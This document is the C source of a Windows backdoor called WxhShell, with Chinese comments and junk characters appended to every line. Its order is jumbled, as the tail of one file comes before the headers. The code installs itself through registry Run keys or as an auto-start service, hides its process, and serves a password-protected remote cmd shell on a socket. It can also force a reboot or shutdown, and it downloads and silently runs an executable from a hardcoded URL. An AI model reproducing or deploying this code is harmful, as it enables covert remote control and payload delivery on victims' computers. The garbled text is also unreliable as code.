  case 'd': { Cqy)+x_OQ,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !&ly :v!  
    if(Boot(SHUTDOWN)) {r$n $  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _W3>Km-A=/  
    else { EC]b]'._  
    closesocket(wsh); DAPbFY9  
    ExitThread(0); %~`y82r6  
    } ^Iz(V2  
    break; O$2'$44HX  
    } QQB\$[M!Z  
  // 获取shell )<vU F]e~  
  case 's': { S\F;b{S1  
    CmdShell(wsh); OjUZ-_J  
    closesocket(wsh); /tu+L6  
    ExitThread(0); T"NDL[*  
    break; %p R: .u|  
  } !5/jDvh  
  // 退出 qNH= W?T8.  
  case 'x': { 4]VoIUIuN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _9^  
    CloseIt(wsh); ?0U.1N  
    break; 3%g\)Cs  
    } \UD:9g"  
  // 离开 C_&-2Z  
  case 'q': { *gJ:irah  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \KGi54&Y  
    closesocket(wsh); tY1M7B^~  
    WSACleanup(); 6zJ<27  
    exit(1); uh][qMyLM  
    break; \5MW65  
        } %LH~Im=  
  } Spnshv8  
  } Nan@SuKY  
OMi_')J  
  // 提示信息 (4hCT*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W!R}eLf@  
} ,<pk&54.@'  
  } ] BJ]  
q13bV  
  return; fG+/p 0sJ?  
} |Sne\N>%  
-*Voui  
// shell模块句柄 SnK#YQCDt  
int CmdShell(SOCKET sock) P|>pm]>C  
{ '_f]qNy  
STARTUPINFO si; 8f""@TTp  
ZeroMemory(&si,sizeof(si)); JDQ7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ot"3 3I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6@"lIKeP  
PROCESS_INFORMATION ProcessInfo; GE2^v_  
char cmdline[]="cmd"; ypCarvQT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P)>`^wc$  
  return 0; IfK%i/J  
} ({GN.pC(  
q&j4PR{  
// 自身启动模式 <vMdfw"(  
int StartFromService(void) 4\cJ}p}LZ{  
{ ~HW}Wik  
typedef struct f.Uvf^T}2  
{ mHm"QBa!  
  DWORD ExitStatus; P6n9yJ$,cb  
  DWORD PebBaseAddress; pyW&`(]S  
  DWORD AffinityMask; BrWo/1b  
  DWORD BasePriority; XM9}ax  
  ULONG UniqueProcessId; W[+=_B  
  ULONG InheritedFromUniqueProcessId; |>/T*zk<  
}   PROCESS_BASIC_INFORMATION; *Zj2*e{Z9U  
:sf(=Y.qA  
PROCNTQSIP NtQueryInformationProcess; p~n62(  
(1t b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -HE@wda  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^ #6Ei9di  
d".Xp4}f  
  HANDLE             hProcess; gPo3jwo$  
  PROCESS_BASIC_INFORMATION pbi; |#y+iXTJ   
z'FpP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C EzTErn  
  if(NULL == hInst ) return 0; #J=@} S)  
8PR1RC J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7Fg-}lJAC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bJ~@ k,'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gc ce]QS  
_a~uIGN  
  if (!NtQueryInformationProcess) return 0; =i`#0i2(  
WOv m%sX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MmZs|pXk  
  if(!hProcess) return 0; ^}F@*A;o  
cZ<@1I5QK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i9QL}d  
#@i1jZ  
  CloseHandle(hProcess); %,Pwo{SH  
"@!B"'xg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Za*QX|  
if(hProcess==NULL) return 0; x#-+//  
<b5J"i&m  
HMODULE hMod; 62}rZVJq  
char procName[255]; [K*>W[n  
unsigned long cbNeeded; l2AAEB_C.  
)[w_LHKI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |uT &M`7\{  
_ ?\4k{ET  
  CloseHandle(hProcess); 0~)_/yx?S  
v>4kF _N  
if(strstr(procName,"services")) return 1; // 以服务启动 &fIx2ZM[  
AUan^Om  
  return 0; // 注册表启动 -F]0Py8(  
} !6yyX}%o  
9b8kRz[ c  
// 主模块 cNd;qO0$  
int StartWxhshell(LPSTR lpCmdLine) >z,SN  
{ 0c pI2  
  SOCKET wsl; pE^jUxk6  
BOOL val=TRUE; gvoo1 Sa  
  int port=0; ? >\JX  
  struct sockaddr_in door; f19~B[a  
#VLO6  
  if(wscfg.ws_autoins) Install(); ]Uy cT3A  
jOE~?{8m  
port=atoi(lpCmdLine); _LOV&83O(  
U,Duq^l~s  
if(port<=0) port=wscfg.ws_port; K<3$>/|  
~@v<B I  
  WSADATA data; cc$L56q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #Fl5]> |  
I1TzPe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '(qVA>S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Py3Y*YP  
  door.sin_family = AF_INET; 9uRs@]i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o|FY-+  
  door.sin_port = htons(port); V*|#j0}b  
'/h~O@Rw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (16U]s  
closesocket(wsl); cSkJlhwNn  
return 1;  =Y0>b4  
} ,J (+%#$UT  
z;74(5?q  
  if(listen(wsl,2) == INVALID_SOCKET) { :Hn*|+'  
closesocket(wsl); tSZd0G<A<o  
return 1; hlgBx~S[  
} !aVwmd'9  
  Wxhshell(wsl); [T5z}!_y  
  WSACleanup(); z@_ 9.n]  
T\Zq/Z\  
return 0; )/:r $n7  
WC?}a^ 8  
} |<YoH$.  
gm-m_cB<  
// 以NT服务方式启动 T{L{<+9%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CQLh;W`Dc  
{ o*L#S1yL  
DWORD   status = 0; @k~_ w#  
  DWORD   specificError = 0xfffffff; ?^# h|aUp.  
|H,g}XWMU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LEUD6 M+~t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xyoh B#'W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )ny,vcU]  
  serviceStatus.dwWin32ExitCode     = 0; L 1fK  
  serviceStatus.dwServiceSpecificExitCode = 0; %/^k r ZD  
  serviceStatus.dwCheckPoint       = 0; bwo{ Lw~  
  serviceStatus.dwWaitHint       = 0; 6Wos6_  
\n @S.Y?P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ic"n*SZa  
  if (hServiceStatusHandle==0) return; Ul<'@A8  
lu GEBPi  
status = GetLastError(); )< 6zbG  
  if (status!=NO_ERROR) GisI/Ir[  
{ {GaQV-t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]wMp`}$b@L  
    serviceStatus.dwCheckPoint       = 0; 4HG@moYn@  
    serviceStatus.dwWaitHint       = 0; f[@M  
    serviceStatus.dwWin32ExitCode     = status; j'?^<4i  
    serviceStatus.dwServiceSpecificExitCode = specificError; +!(W>4F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `%2e?"OOJ  
    return; rQncW~  
  } S+i .@N.^  
H& #Od?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .>(?c92  
  serviceStatus.dwCheckPoint       = 0; zEQ<Q\"1  
  serviceStatus.dwWaitHint       = 0; [ imC21U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KAR XC,z  
} ~dIb>[7wy  
5 i1T?  
// 处理NT服务事件,比如:启动、停止 ! ~' \Ey  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Kb_R "b3v  
{ gc'C"(TO(  
switch(fdwControl) 4{'0-7}  
{ ^ ExA  
case SERVICE_CONTROL_STOP: [\hk_(}  
  serviceStatus.dwWin32ExitCode = 0; *>=vSRL0_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /S]W< 8d  
  serviceStatus.dwCheckPoint   = 0; a<.7q1F  
  serviceStatus.dwWaitHint     = 0; >.D0McQg  
  { ;w(]z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); + *YGsM`E9  
  } BO5gwvyI  
  return; @-z#vJ5Qe{  
case SERVICE_CONTROL_PAUSE: AUloP?24  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XA[G F6W,Y  
  break; /!o(Y8e>x  
case SERVICE_CONTROL_CONTINUE: `ag7xd!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $jYwV0  
  break; ub "(,k P  
case SERVICE_CONTROL_INTERROGATE: s$Il;  
  break; {__Z\D2I  
}; 1}E`K#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x8a?I T.  
} \WM*2&  
#5?Q{ORN o  
// 标准应用程序主函数 ;Yrg4/Ipa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Mk=;UBb$X  
{ L3Leb%,!  
8gap _qTo  
// 获取操作系统版本 %6`{KT?  
OsIsNt=GetOsVer(); r9Ux=W\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2Yx6.e<  
Fj9/@pe1  
  // 从命令行安装 @<]xbWhuw  
  if(strpbrk(lpCmdLine,"iI")) Install(); XpzdvR1  
w;.'>ORC  
  // 下载执行文件 ZQvpkO7}M  
if(wscfg.ws_downexe) { mMqT-jT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z8 bDBoD6  
  WinExec(wscfg.ws_filenam,SW_HIDE); q+{-p?;;  
} ,jBd3GdlZ  
QZBXI3%#s  
if(!OsIsNt) { Sf}>~z2  
// 如果时win9x,隐藏进程并且设置为注册表启动 |Xblz1>DF  
HideProc(); IMY?L  
StartWxhshell(lpCmdLine); ]1 #&J(  
} gmfux b/  
else \s2hep  
  if(StartFromService()) -ob_]CKtJ~  
  // 以服务方式启动 i0uBb%GMT  
  StartServiceCtrlDispatcher(DispatchTable); u93=>S  
else TB] %?L:  
  // 普通方式启动 lrjlkgSN  
  StartWxhshell(lpCmdLine); ,P^pDrc  
7z \I\8  
return 0; 'sJ=h0d_[V  
} <^,w,A  
=R#K` H66j  
y D.S"  
BRP9j y  
=========================================== f>JuxX\G  
pN<wO1\9  
lgZ3=h  
)5lo^Qb  
b=a&!r5M  
r)<]W@ Pr  
" :Ia3yi#  
rE"`q1b#  
#include <stdio.h> ZVpMR0!  
#include <string.h> [ADr _  
#include <windows.h> 9`\hG%F  
#include <winsock2.h> )2}{fFa%  
#include <winsvc.h> 2 [a#wz'  
#include <urlmon.h> TH2D;uv  
.+7GecYz  
#pragma comment (lib, "Ws2_32.lib") :g3n [7wR  
#pragma comment (lib, "urlmon.lib") )t{oyBT  
chsjY]b  
#define MAX_USER   100 // 最大客户端连接数 2Z6#3~  
#define BUF_SOCK   200 // sock buffer lIO.LF3  
#define KEY_BUFF   255 // 输入 buffer R2Fh WiL  
[7?K9r\#  
#define REBOOT     0   // 重启 KyW6[WA9  
#define SHUTDOWN   1   // 关机 22|eiW/a  
vV1F|  
#define DEF_PORT   5000 // 监听端口 p5^,3&  
#d%'BUde  
#define REG_LEN     16   // 注册表键长度 fGJPZe  
#define SVC_LEN     80   // NT服务名长度 k oo`JHC  
3ik  
// 从dll定义API )J8dm'wH92  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); < vU<:S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o|8 5<~`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l?~SH[V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rX6"w31  
^~(vP:  
// wxhshell配置信息 K1Nhz'^=D  
struct WSCFG { .]%PnJM9K  
  int ws_port;         // 监听端口 qIK"@i[ uq  
  char ws_passstr[REG_LEN]; // 口令 I!.o& dk  
  int ws_autoins;       // 安装标记, 1=yes 0=no Rd;k>e  
  char ws_regname[REG_LEN]; // 注册表键名 R8UtX9'*sa  
  char ws_svcname[REG_LEN]; // 服务名 oK@!yYv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S =q.Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Lm\N`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .ps'{rl8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +ex@[grsGT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Mn$TWhg'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aQwcPy|1R  
?b2  
}; F ^Rt 6Io  
>/1N#S#9  
// default Wxhshell configuration %\=5,9A\  
struct WSCFG wscfg={DEF_PORT, h@FDP#H  
    "xuhuanlingzhe", xh[Mmq/R  
    1, HDYr?t~V  
    "Wxhshell", CfQOG7e@  
    "Wxhshell", *. l,_68  
            "WxhShell Service", O^hWG ~o  
    "Wrsky Windows CmdShell Service", zu<b#Wv  
    "Please Input Your Password: ", bCg {z b#  
  1, z71.5n!C  
  "http://www.wrsky.com/wxhshell.exe", `?{QCBVj  
  "Wxhshell.exe" D61CO-E(D  
    }; $6h:j#{JE  
M *BDrM  
// 消息定义模块 ,Cj1S7GFR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KgX~PP>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [wP;g'F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cBM A.'uIL  
char *msg_ws_ext="\n\rExit."; ),0_ C\  
char *msg_ws_end="\n\rQuit."; z`((l#(  
char *msg_ws_boot="\n\rReboot..."; eIK8J,-  
char *msg_ws_poff="\n\rShutdown..."; +ZtqR  
char *msg_ws_down="\n\rSave to "; n(,b$_JK7  
V0z.w:-  
char *msg_ws_err="\n\rErr!"; vG O-a2Z  
char *msg_ws_ok="\n\rOK!"; Y8`4K*58%  
B:)9hF?o@  
char ExeFile[MAX_PATH]; fLL_{o0T  
int nUser = 0; |{+D65R  
HANDLE handles[MAX_USER]; #9}E@GGs  
int OsIsNt; ^kxkP}[Z.  
$'dJ+@  
SERVICE_STATUS       serviceStatus; P %f],f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ] o tjoM  
ii0AhQ  
// 函数声明 q$e2x=?  
int Install(void); EcrM`E#kaZ  
int Uninstall(void); V"(S<o  
int DownloadFile(char *sURL, SOCKET wsh); $q]((@i.  
int Boot(int flag); {M U>5\  
void HideProc(void); .2/(G{}U  
int GetOsVer(void); -fuSCj  
int Wxhshell(SOCKET wsl); X|t?{.p  
void TalkWithClient(void *cs); h<\o[n7j  
int CmdShell(SOCKET sock); A:ls'MkZ4  
int StartFromService(void); `o yz"07m  
int StartWxhshell(LPSTR lpCmdLine); ct=|y(_  
7(^<Z5@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G!T)V2y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zg2A$Fd[j  
R K#e7  
// 数据结构和表定义 GrjL9+|x  
SERVICE_TABLE_ENTRY DispatchTable[] = qlD+[`=b  
{ buX$O{43I  
{wscfg.ws_svcname, NTServiceMain}, 9d^o2Y o  
{NULL, NULL} #ebT$hf30  
}; @FIR9XJ  
ug0[*#|Y  
// 自我安装 T!eeMsI  
int Install(void) D`0II=  
{ 5c($3Pno=  
  char svExeFile[MAX_PATH]; ]h~=lItTRZ  
  HKEY key; :q S=_!1  
  strcpy(svExeFile,ExeFile); bVSa}&*kM  
x0@J~ _0  
// 如果是win9x系统,修改注册表设为自启动 ZdeRLX  
if(!OsIsNt) { j':Ybr>BR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S*Un$ngAh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H>_ FCV8  
  RegCloseKey(key); p{xO+Nx1a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tiSN amvG1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K2>(C$Z  
  RegCloseKey(key); 1BwCJ7?8  
  return 0; z"bgtlfb8  
    } ,Y=r] fk  
  } KG6ki_  
} ,.uu/qV}w  
else { RzQ1Wq  
55MsF}p  
// 如果是NT以上系统,安装为系统服务 8:0QIkqk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); / *xP`'T  
if (schSCManager!=0) JVf8KHDj  
{ `DIIJ<;g  
  SC_HANDLE schService = CreateService ^-c j=on=Q  
  ( hNmC(saMGm  
  schSCManager, #P=rP=  
  wscfg.ws_svcname, &}@U#w]l  
  wscfg.ws_svcdisp, R<{bb'  
  SERVICE_ALL_ACCESS, G$ XvxJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?Z {4iF  
  SERVICE_AUTO_START, B-ReBtN  
  SERVICE_ERROR_NORMAL, )+RTA y[k  
  svExeFile, 1O*5>dkX;%  
  NULL, $wH{snX  
  NULL, b>=MG8  
  NULL, ^ '!]|^  
  NULL, .x5Y fe  
  NULL hH[UIe  
  ); xK9"t;!C&  
  if (schService!=0) uS<7X7|!0  
  { $UavM|  
  CloseServiceHandle(schService); m]} E0  
  CloseServiceHandle(schSCManager); Or= [2@Wg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !ccKbw)J#  
  strcat(svExeFile,wscfg.ws_svcname); Re-~C[zwT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SkBa- *MC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *T$o" *}  
  RegCloseKey(key); nx`!BNL'V  
  return 0; ]#P9.c_}  
    } o0^..f  
  } ,$EM3   
  CloseServiceHandle(schSCManager); >[B}eS>  
} ZQ9!k* ^  
} V|KYkEl r1  
'; ,DgR;'  
return 1; ne] |\]  
} }GJIM|7^  
N ncur]  
// 自我卸载 B~QX{  
int Uninstall(void) EQ'iyXhEe  
{ .^j #gE&B  
  HKEY key; Pf;'eOdp  
jnsV'@v8Nj  
if(!OsIsNt) { vJVL%,7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MKLntX  
  RegDeleteValue(key,wscfg.ws_regname); $, 4;_4t  
  RegCloseKey(key); 5n! V^ !  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3US}('  
  RegDeleteValue(key,wscfg.ws_regname); S%<RV6{aiM  
  RegCloseKey(key); \.y|=Ql_u  
  return 0; L ?g|:  
  } *`OgwMr)M  
} $ r)+7i  
} azR<Y_tw  
else { u[9i>7}9  
MEMD8:['  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IXNcn@tN  
if (schSCManager!=0) < gB>j\:  
{ h\".TySz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4wh_ iO  
  if (schService!=0) ['ol]ZJ  
  { $Nvt:X_  
  if(DeleteService(schService)!=0) { y E-H-r~I  
  CloseServiceHandle(schService); 8Kt_irD  
  CloseServiceHandle(schSCManager); ^IGutZov  
  return 0; cZI )lX  
  } {E1g+><  
  CloseServiceHandle(schService); l{F^"_U  
  } WV}<6r$e  
  CloseServiceHandle(schSCManager); RpPbjz~  
} 2*Hw6@Jj  
} Dw{rjK\TT'  
xO)vn\uJ  
return 1; c;c'E&9P]  
} R+k-mbvnt  
vKN"o* q  
// 从指定url下载文件 3-#|6khqt  
int DownloadFile(char *sURL, SOCKET wsh) O9*cV3}H  
{ ss63/   
  HRESULT hr; O 4@sN=o  
char seps[]= "/"; hNs970i  
char *token; D,%R[F? 5O  
char *file; g\;AU2?p7  
char myURL[MAX_PATH]; 3kFSu  
char myFILE[MAX_PATH]; w^MU$ubx  
Ry>c]\a]  
strcpy(myURL,sURL); @r4ZN6Wn  
  token=strtok(myURL,seps); z2Sp  
  while(token!=NULL) {vYmK#}  
  { Dz/I"bZLC  
    file=token; jV Yt=j*"V  
  token=strtok(NULL,seps); +^tq?PfE  
  } YY-{&+,  
T)wc{C9w  
GetCurrentDirectory(MAX_PATH,myFILE); m<)0 XE6w  
strcat(myFILE, "\\"); Z&FC:4!!  
strcat(myFILE, file); g*C&Pr3  
  send(wsh,myFILE,strlen(myFILE),0); :acnrW>i[@  
send(wsh,"...",3,0); +g,:!5pg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Gc2sY 0  
  if(hr==S_OK) S!Ue+jW  
return 0; {|?OKCG{  
else 3|zqEGT*  
return 1; Su`LBz"  
U">J$M@  
} a7'.*H]  
` W$  
// 系统电源模块 $O"S*)9  
int Boot(int flag) $G/h-6+8  
{ "+3p??h%Rq  
  HANDLE hToken; 'W>Bz,M6yo  
  TOKEN_PRIVILEGES tkp; WmU4~.  
pFi.?|6"  
  if(OsIsNt) { & V :q}Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1~:7W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (\m4o   
    tkp.PrivilegeCount = 1; XH4!|wz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `&$"oW{HW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )1ia;6}  
if(flag==REBOOT) { 7[5g_D t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N^7Qn*qt[  
  return 0; &No6k~T0:b  
} ~$XbYR-  
else { &.z: i5&o!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MMCac6;Aea  
  return 0; ^2E\{$J  
} fkE4 [X7f  
  } p\I,P2on  
  else { %7=B?c |  
if(flag==REBOOT) { ,73 kh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )\!_`ob  
  return 0; gQaBQq9  
} 9EzXf+f  
else { vmdu9"H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h(]aP<49L  
  return 0; 'qcLK>E  
} nEu,1  
} !|6M,Rk_  
yO Ed8  
return 1; MGpP'G:v  
} D /ysS$!{  
FEj{/  
// win9x进程隐藏模块 H.|v ^e  
void HideProc(void) `tA~"J$32l  
{ K] ;`  
j`jF{k b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !4-B xeNY\  
  if ( hKernel != NULL ) 3wZA,Z  
  { HqNM31)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N,U<.{T=A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3YT>3f!\  
    FreeLibrary(hKernel); 'o=`1I  
  } ;u`zZb=,[  
S^nshQI  
return; 8 CKN^8E  
} ,grdl|Dg  
`^HAWo;J  
// 获取操作系统版本 55xa Z#|  
int GetOsVer(void) 4i0~t~vDpr  
{ ,'[L6=#  
  OSVERSIONINFO winfo; |uo<<-\jTO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )]x/MC:9r  
  GetVersionEx(&winfo); Uywi,9f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !K a!f1  
  return 1; iXt1{VP'K  
  else J.'}R2gT1  
  return 0; dw{L,u`68  
} t\44 Pu%  
&K2J$(.t  
// 客户端句柄模块 .OFwGOL%  
int Wxhshell(SOCKET wsl) ,{wA%Oy,  
{ uk%C:4T  
  SOCKET wsh; *Y !'3|T  
  struct sockaddr_in client; [ySO  
  DWORD myID; N&g9z{m7  
VZ"W_U,  
  while(nUser<MAX_USER) } :U'aa  
{ eytd@-7uX  
  int nSize=sizeof(client); b37F;"G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H9'Y` -r  
  if(wsh==INVALID_SOCKET) return 1; qOaI4JP@  
_  dFZR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o&45y&  
if(handles[nUser]==0) M$&aNt;  
  closesocket(wsh); =xwA'D9]  
else ^M?O  
  nUser++; / J 3   
  } s}Y_og_c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7hAFK  
#wz1uw[pI!  
  return 0; YC!Tgb~H  
} qK}4r5U  
l)y$c}U  
// 关闭 socket t(3<w)r2  
void CloseIt(SOCKET wsh) dH4wyd`  
{ xEv]V L:  
closesocket(wsh); ?kBi9^)N4  
nUser--; AQX~do\A  
ExitThread(0); Vs@[="  
}  CZ&VP%  
1=LI))nV  
// 客户端请求句柄 TAfLC)  
void TalkWithClient(void *cs) 5 :O7cBr  
{ m$nT#@l5bH  
C1=7.dPr  
  SOCKET wsh=(SOCKET)cs; s;oDwT1  
  char pwd[SVC_LEN]; i=b<Mz7|  
  char cmd[KEY_BUFF]; ho*44=j  
char chr[1]; TI '(  
int i,j; ;-SFK+)R"  
vrVb/hhG  
  while (nUser < MAX_USER) { WjfUbKg0  
r![RRa^  
if(wscfg.ws_passstr) { j2GO ZKy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J:6wFmU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bb<qnB  
  //ZeroMemory(pwd,KEY_BUFF); _86pbr9  
      i=0; ,S"a ,}8  
  while(i<SVC_LEN) { PF$K> d  
;O7CahdF  
  // 设置超时 EPx_xX  
  fd_set FdRead; 9+'QH  
  struct timeval TimeOut;  t~mbe  
  FD_ZERO(&FdRead); L,!3  
  FD_SET(wsh,&FdRead); Jpi\n- d!  
  TimeOut.tv_sec=8; "[ f"h  
  TimeOut.tv_usec=0; fq^D<c{3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4 ZD~i e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _`6fGu& W  
r>v_NKS]t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vZEeb j  
  pwd=chr[0]; US8pT|/  
  if(chr[0]==0xd || chr[0]==0xa) { M4hzf  
  pwd=0; X$"=\p>X  
  break; p3?!}VM!y  
  } q5X \wz2N  
  i++; QWt ?` h=  
    } bWc3a  
pqaQ%|<  
  // 如果是非法用户,关闭 socket 63hOK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5nq0#0O c  
} AvW2)+6G  
G2#={g{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /_Z--s> j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DPENYr  
IyTL|W6  
while(1) { XXbA n-J  
\0 &7^  
  ZeroMemory(cmd,KEY_BUFF); :',.I  
\@yx;}bdI  
      // 自动支持客户端 telnet标准   2-G he3  
  j=0;  _N`:NOM  
  while(j<KEY_BUFF) { :Ny.OA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *5( h,s3&  
  cmd[j]=chr[0]; /mMRV:pd  
  if(chr[0]==0xa || chr[0]==0xd) { N[$bP)h7  
  cmd[j]=0; . J"g.Q  
  break; *Xh)22~T  
  } /cn=8%!N  
  j++; z[kz [  
    } sZ`C "1cX  
]y*AA58;  
  // 下载文件 MB$K ?"Y  
  if(strstr(cmd,"http://")) { $JKR,   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .~#<>  
  if(DownloadFile(cmd,wsh)) rLMjN#`^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <DG=qP6O  
  else VgfA&?4[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I!IWmU6FN  
  } 9 yH/5'  
  else { <gU^#gsGra  
X"V,3gDG  
    switch(cmd[0]) { ImJ2tz6  
